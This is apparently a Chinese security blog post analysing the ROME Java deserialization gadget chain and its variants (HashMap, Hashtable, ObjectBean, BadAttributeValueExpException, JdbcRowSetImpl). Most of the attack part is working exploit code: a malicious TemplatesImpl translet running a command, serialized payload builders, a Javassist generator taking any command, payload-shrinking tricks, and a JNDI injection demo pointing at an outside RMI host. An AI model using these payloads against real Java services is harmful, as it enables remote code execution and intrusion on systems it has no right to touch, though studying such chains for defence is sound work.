Rome Gadget Learn
Rome Gadget Learn

0x01. Rome

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。

0x02. toString分析

链的关键点在于toString方法,我们来看一下该方法:


跟进这个重载方法:

大致操作是从_beanClass类中拿一些方法,然后去执行这些方法的无参重载方法,那么就需要去跟进一下getPropertyDescriptorsgetReadMethod这两个方法;

很明显前者是去拿这个类的getter和setter方法的,因为反射执行方法还要满足无参的条件,setter方法理论上已经被排除了

从注释中也能看出来:

_beanClass_obj都是该类的构造方法中能赋值:

思路很明显了,这里我们使用Xlan的TemplatesImpl,主要调用它的getOutputProperties()触发defineClass,这里我们使用传入的恶意类字节码创建类,这样就会将恶意类字节码注册到JVM中,最终通过newInstance创建实例,从而实现RCE,一个demo:

恶意字节码类:
注意这里一定要继承AbstractTranslet,看到这里对恶意类的父类做了判断:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ExpAbstractTranslet extends AbstractTranslet {
    public ExpAbstractTranslet() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

EXP:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.File;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class Rome_toString {

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java_复现\\rome_gadget\\target\\classes\\com\\example\\ExpAbstractTranslet.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name","aaa");
        setValue(templates, "_bytecodes",  new byte[][]{classBytes});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        toStringBean.toString();
    }
}

动态再回顾一下:
进入toString后调用TemplatesImplgetOutputProperties方法:

跟进后会调用getTransletInstance()方法

继续跟进该方法,这里由于已经注册过,将会实例化该恶意字节码类,从而RCE:

这里存在一个小细节,选取Class的时候,也就是构造方法传入的时候,使用的是Templates.Class而非TemplatesImpl.Class,因为前者只有一个getter,而后者存在多个getter,有可能无法调用到我们需要的getter——getOutputProperties()

0x03. 反序列化 Gadget分析

首先看一下yso给出的链子:

 * TemplatesImpl.getOutputProperties()
 * ToStringBean.toString(String)
 * ToStringBean.toString()
 * ObjectBean.toString()
 * EqualsBean.beanHashCode()
 * ObjectBean.hashCode()
 * HashMap<K,V>.hash(Object)
 * HashMap<K,V>.readObject(ObjectInputStream)

入口点是从HashMap的readObject处,我们知道这个类的readObject的最终结果是能够调用任意类的hashCode

这里只贴一下图,很好理解

经过一番搜索发现EqualBeans中存在该方法:

跟进去看一眼:

很好的匹配前文的toString,再来看一下_obj是否可控:

因此我们在构造方法中,将_obj设置为ToStringBean,之后调用ToStringBean的toString方法就是前文的步骤了

给出demo的EXP:

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Rome_Gadget {
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java_复现\\rome_gadget\\target\\classes\\com\\example\\ExpAbstractTranslet.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "aaa");
        setValue(templates, "_bytecodes", new byte[][]{classBytes});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();

    }
}

0x04.其他利用链–ObjectBean

Rome链后续利用都是一样的,后半段较为固定,都是使用TemplatesImpl.getOutputProperties()进行任意类加载,所以这里的其他利用链都是针对前半段入口处进行替换的。

前文搜索hashCode方法的时候,发现ObjectBean也存在该方法,跟进去看一眼:

发现_equalBeans是可控的,并且直接是EqualsBean的实例,因此等价于前者

因此可以将EqualsBean.hashCode()替换为ObjectBean.hashcode(),这里就不贴EXP了

0x05.其他利用链–HashTable

这里其实和Rome Gadget关系不大,只是作为HashMap入口处的替换,如果环境过滤了HashMap类,则可以利用HashTable的反序列化入口,这里也简单分析一下:
这里反序列化后传入reconstitutionPut

跟进一下:

贴一下demo:

public static void hashTable_Gadget() throws Exception{
        byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java_复现\\rome_gadget\\target\\classes\\com\\example\\ExpAbstractTranslet.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "aaa");
        setValue(templates, "_bytecodes", new byte[][]{classBytes});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        Hashtable<Object,Object> hashtable = new Hashtable<>();
        hashtable.put(equalsBean,"123");
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashtable);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }

0x06.其他利用链–BadAttributeValueExpException

BadAttributeValueExpException在CC链中使用到,这个类存在readObject方法,能够达到的效果就是触发任意类的toString方法

因此在这里也可以搭配ToStringBean实现RCE,利用链也很清晰了:

* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* BadAttributeValueExpException.readObject()

为了避免提前触发漏洞,我们可以利用反射修改val的值为需要调用toString()方法的类,当然也可以在BadAttributeValueExpException构造方法中将toStringBean传入

贴一下EXP:

public static void Badattributes_Gadget() throws  Exception{
        byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java_复现\\rome_gadget\\target\\classes\\com\\example\\ExpAbstractTranslet.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "aaa");
        setValue(templates, "_bytecodes", new byte[][]{classBytes});
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11);
        setValue(badAttributeValueExpException, "val", toStringBean);
        FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream(new File("exp.bin"));
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }

0X07.其他利用链–JdbcRowSetImpl

JdbcRowSetImpl这个链主要也是利用了其getter方法,因此是针对后半段TemplatesImpl.getOutputProperties()任意类加载进行替换的,主要的关键点是getDatabaseMetaData:


跟进connect()方法,最终其调用了lookup(),触发了JNDI接口调用:

dataSource是可控的:

因此可以触发JNDI注入,配合RMI或者LDAP进行攻击

由于JDNI注入中trustURLCodebase的限制,这里限制的攻击版本为
RMI:JDK 6u132、JDK 7u122、JDK 8u113之前
LDAP:JDK 7u201、8u191、6u211、JDK 11.0.1之前

一个简单的demo:

public static void JDBC_Gadget() throws Exception{
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://110.42.219.12:1099/zqunly");
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        toStringBean.toString();
    }

这里只是扩展一些利用方式,因此选择直接调用toString()来触发,可以搭配之前的例如BadAttributeValueExpException或者HashMap等方式来进行Gadget的变换操作

0x08.精简Payload

这里其实是受到D3CTF的启发,当然参考的是Y4师傅的文章,我们先来看一下BadAttributeValueExpException Gadget或者其他几个链子的b64长度,首先进行一个横向比较:

可以看到利用EqualsBean利用链的长度是最短的,这里Hashmap和HashTable都是使用的EqualBeans,而ObjectBeans实际上是套了一层EqualBeans,因此长度肯定是大于直接使用后者的

下面我们需要对该Gadget进行精简操作

从TemplatesImpl精简

这里能够想到的是在构造TemplatesImpl,这里实例化这个类涉及到三个部分,_name这里可以设置长度为1,_tfactory这里其实是可以不用设置的,我们来看TemplatesImplreadObject方法:

这里在反序列化时会自动赋值,因此我们在序列化时不需要为TemplatesImpl._tfactory赋值

再来测试一下长度:

少了一部分,但是这样显然还不够,接下来我们把目光放到_bytecodes上,我们来看一下自实现的ExpAbstractTranslet类,当然这里的类名能够缩短到长度为1,并且在这里我们继承的AbstractTranslet父类,必须重写2个抽象方法,否则无法编译,但是这2个抽象方法在反序列化中并没有用到,因此这里使用javaassist来进行Patch,个人理解就是欺骗编译器使得即使没有重写也能通过编译,生成字节码文件

利用javaassit来解决这个问题:

package com.example;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;

import java.io.File;
import java.io.FileOutputStream;

public class GenerateBytesCode {
    public static byte[] getTemplatesImpl(String cmd) throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("A");
        CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor ctConstructor = CtNewConstructor.make("public A(){Runtime.getRuntime().exec(\"" + cmd + "\");\n}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] bytecodes = ctClass.toBytecode();
        ctClass.defrost();
        return bytecodes;
    }

    public static void main(String[] args) throws Exception{
        byte[] bytes = getTemplatesImpl("calc");
        FileOutputStream fos = new FileOutputStream(new File("A.class"));
        fos.write(bytes);
        fos.flush();
        fos.close();
    }
}

这里我们只利用构造方法,因此只需要补充构造方法,其他的重写方法由于后续没有利用,因此我们可以抛弃,这里可以生成A.class类作为我们的恶意字节码类,以利用注册到JVM虚拟机中

接下来我们再来看一下长度:

已经缩短了将近一半的长度,当然这里的HashMap的value也能设置为空,这里的话缩短的长度优先,但已经满足需求了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇